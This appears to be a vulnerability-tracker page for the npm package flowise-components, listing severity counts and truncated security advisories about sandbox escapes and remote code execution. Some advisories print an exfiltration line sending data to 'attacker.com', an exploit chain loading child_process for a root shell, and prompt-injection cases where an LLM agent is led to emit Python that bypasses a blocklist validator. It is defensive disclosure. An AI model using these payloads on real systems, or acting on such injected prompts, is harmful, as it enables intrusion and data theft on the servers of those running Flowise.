flowise-components
Ecosystem: npm
Downloads: 13.9 K
- 17CriticalAffects 17 versions
- 12HighAffects 12 versions
- 0MediumAffects 0 versions
- 3ModerateAffects 3 versions
- 0LowAffects 0 versions
- Critical17 (53.1%)
- High12 (37.5%)
- Medium0 (0.0%)
- Moderate3 (9.4%)
- Low0 (0.0%)
Monthly breakdown
- Critical
- High
- Medium
- Moderate
- Low
- 2 vulnerabilities
- Critical: 2
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
- 12 vulnerabilities
- Critical: 10
- High: 2
- Medium: 0
- Moderate: 0
- Low: 0
- 1 vulnerabilities
- Critical: 0
- High: 1
- Medium: 0
- Moderate: 0
- Low: 0
- 13 vulnerabilities
- Critical: 4
- High: 6
- Medium: 0
- Moderate: 3
- Low: 0
- 1 vulnerabilities
- Critical: 0
- High: 1
- Medium: 0
- Moderate: 0
- Low: 0
- 2 vulnerabilities
- Critical: 1
- High: 1
- Medium: 0
- Moderate: 0
- Low: 0
- 1 vulnerabilities
- Critical: 0
- High: 1
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (32)
Known vulnerabilities affecting flowise-components, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| GHSA-9gvv-qjj3-2p6g | Critical | Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via ChromiumFlowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file disclosure via Chromium's `file://` URL handli |
| GitHub (opens in a new tab) | |
| GHSA-w7x8-q2gp-5cgg | Critical | Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json("http://attacker.com/?d=" + df.to_json())` passes every regex check y |
| GitHub (opens in a new tab) | |
| GHSA-6j9g-8fxc-25hq | Critical | Duplicate Advisory: Flowise contains an unauthenticated sandbox escape# Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9gvv-qjj3-2p6g. This link is maintained to preserve external references. # Original Description Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox bound |
| GitHub (opens in a new tab) | |
| GHSA-3769-jgqc-cxm7 | Critical | Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override### Summary A sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`. ### Details The vulnerability is in `packages/components/src/utils.ts` at line 1755: ```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } The executeJavaScriptCode() |
| GitHub (opens in a new tab) | |
| GHSA-4j8x-x6v7-w9rq | Critical | Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation### Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCod |
| GitHub (opens in a new tab) | |
| GHSA-52fh-8v99-63c2 | Critical | Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE### Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent). ### Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/compo |
| GitHub (opens in a new tab) | |
| GHSA-5xvg-pmgg-3mxr | Critical | Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability-- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise -- VULNERABILITY DETAILS ------------------------ * Version tested: 3.1.1 * Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) * Platform tested: Ubuntu 25.10 --- A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage |
| GitHub (opens in a new tab) | |
| GHSA-88pr-878c-24wf | High | Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys## Summary Flowise on current `main` allows an authenticated user with `documentStores:preview-process` permission to trigger the `S3 Directory` document loader with attacker-controlled S3 object keys. The loader joins eac |
| GitHub (opens in a new tab) | |
| GHSA-g32j-mmxr-gfq5 | Critical | Flowise RCE via TypeORM DataSource============================================================================= Security Advisory elttam Topic: Flowise RCE via TypeORM DataSource Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: `FlowiseAI/Flowise 3.1.2` # I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop |
| GitHub (opens in a new tab) | |
| GHSA-vmv7-4m6c-3cg5 | Critical | Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified## UPDATE 2026-05-20: Full RCE as root VERIFIED **This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.** ### Verified Exploit Chain 1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container) ### Working RCE Payload ``` ";import js;e=js.globalT |
| GitHub (opens in a new tab) |
- GHSA-9gvv-qjj3-2p6gCriticalFlowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
< 3.1.3
Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file disclosure via Chromium's `file://` URL handli
CVE: CVE-2026-119978
- GHSA-w7x8-q2gp-5cggCriticalFlowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
< 3.1.3
## Summary Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes use a regex-based blocklist (`validatePythonCodeForDataFrame()`) to sanitize LLM-generated Python code before execution in Pyodide. The validator has multiple structural bypasses that allow an attacker to exfiltrate all loaded data to an external server, perform SSRF against internal services, and potentially achieve further code execution -- all through prompt injection via the unauthenticated prediction API. The most impactful bypass is trivial: `pd.read_json("http://attacker.com/?d=" + df.to_json())` passes every regex check y
CVE: CVE-2026-73487
- GHSA-6j9g-8fxc-25hqCriticalDuplicate Advisory: Flowise contains an unauthenticated sandbox escape
< 3.1.3
# Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-9gvv-qjj3-2p6g. This link is maintained to preserve external references. # Original Description Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the `vm2/@flowiseai/nodevm` JavaScript sandbox. An authenticated user with access to the `/api/v1/node-custom-function` endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes child_process.spawn() outside the sandbox bound
- GHSA-3769-jgqc-cxm7CriticalFlowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
< 3.1.3
### Summary A sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`. ### Details The vulnerability is in `packages/components/src/utils.ts` at line 1755: ```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } The executeJavaScriptCode()
CVE: CVE-2026-69254
- GHSA-4j8x-x6v7-w9rqCriticalFlowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
< 3.1.3
### Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCod
CVE: CVE-2026-69264
- GHSA-52fh-8v99-63c2CriticalFlowise: Pyodide validator Unicode homoglyph bypass leads to RCE
< 3.1.3
### Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent). ### Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/compo
CVE: CVE-2026-70470
- GHSA-5xvg-pmgg-3mxrCriticalFlowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
< 3.1.3
-- ABSTRACT ------------------------------------- Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise -- VULNERABILITY DETAILS ------------------------ * Version tested: 3.1.1 * Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) * Platform tested: Ubuntu 25.10 --- A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage
CVE: CVE-2026-70477
- GHSA-88pr-878c-24wfHighFlowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys
< 3.1.3
## Summary Flowise on current `main` allows an authenticated user with `documentStores:preview-process` permission to trigger the `S3 Directory` document loader with attacker-controlled S3 object keys. The loader joins eac
============================================================================= Security Advisory elttam Topic: Flowise RCE via TypeORM DataSource Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: `FlowiseAI/Flowise 3.1.2` # I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop
CVE: CVE-2026-69251
- GHSA-vmv7-4m6c-3cg5CriticalFlowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified
< 3.1.3
## UPDATE 2026-05-20: Full RCE as root VERIFIED **This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.** ### Verified Exploit Chain 1. Python code injection via `base64_string = "${base64String}"` (CSVAgent.ts line 161) 2. Pyodide `js` bridge provides access to the host Node.js process 3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction) 4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container) ### Working RCE Payload ``` ";import js;e=js.globalT
CVE: CVE-2026-69255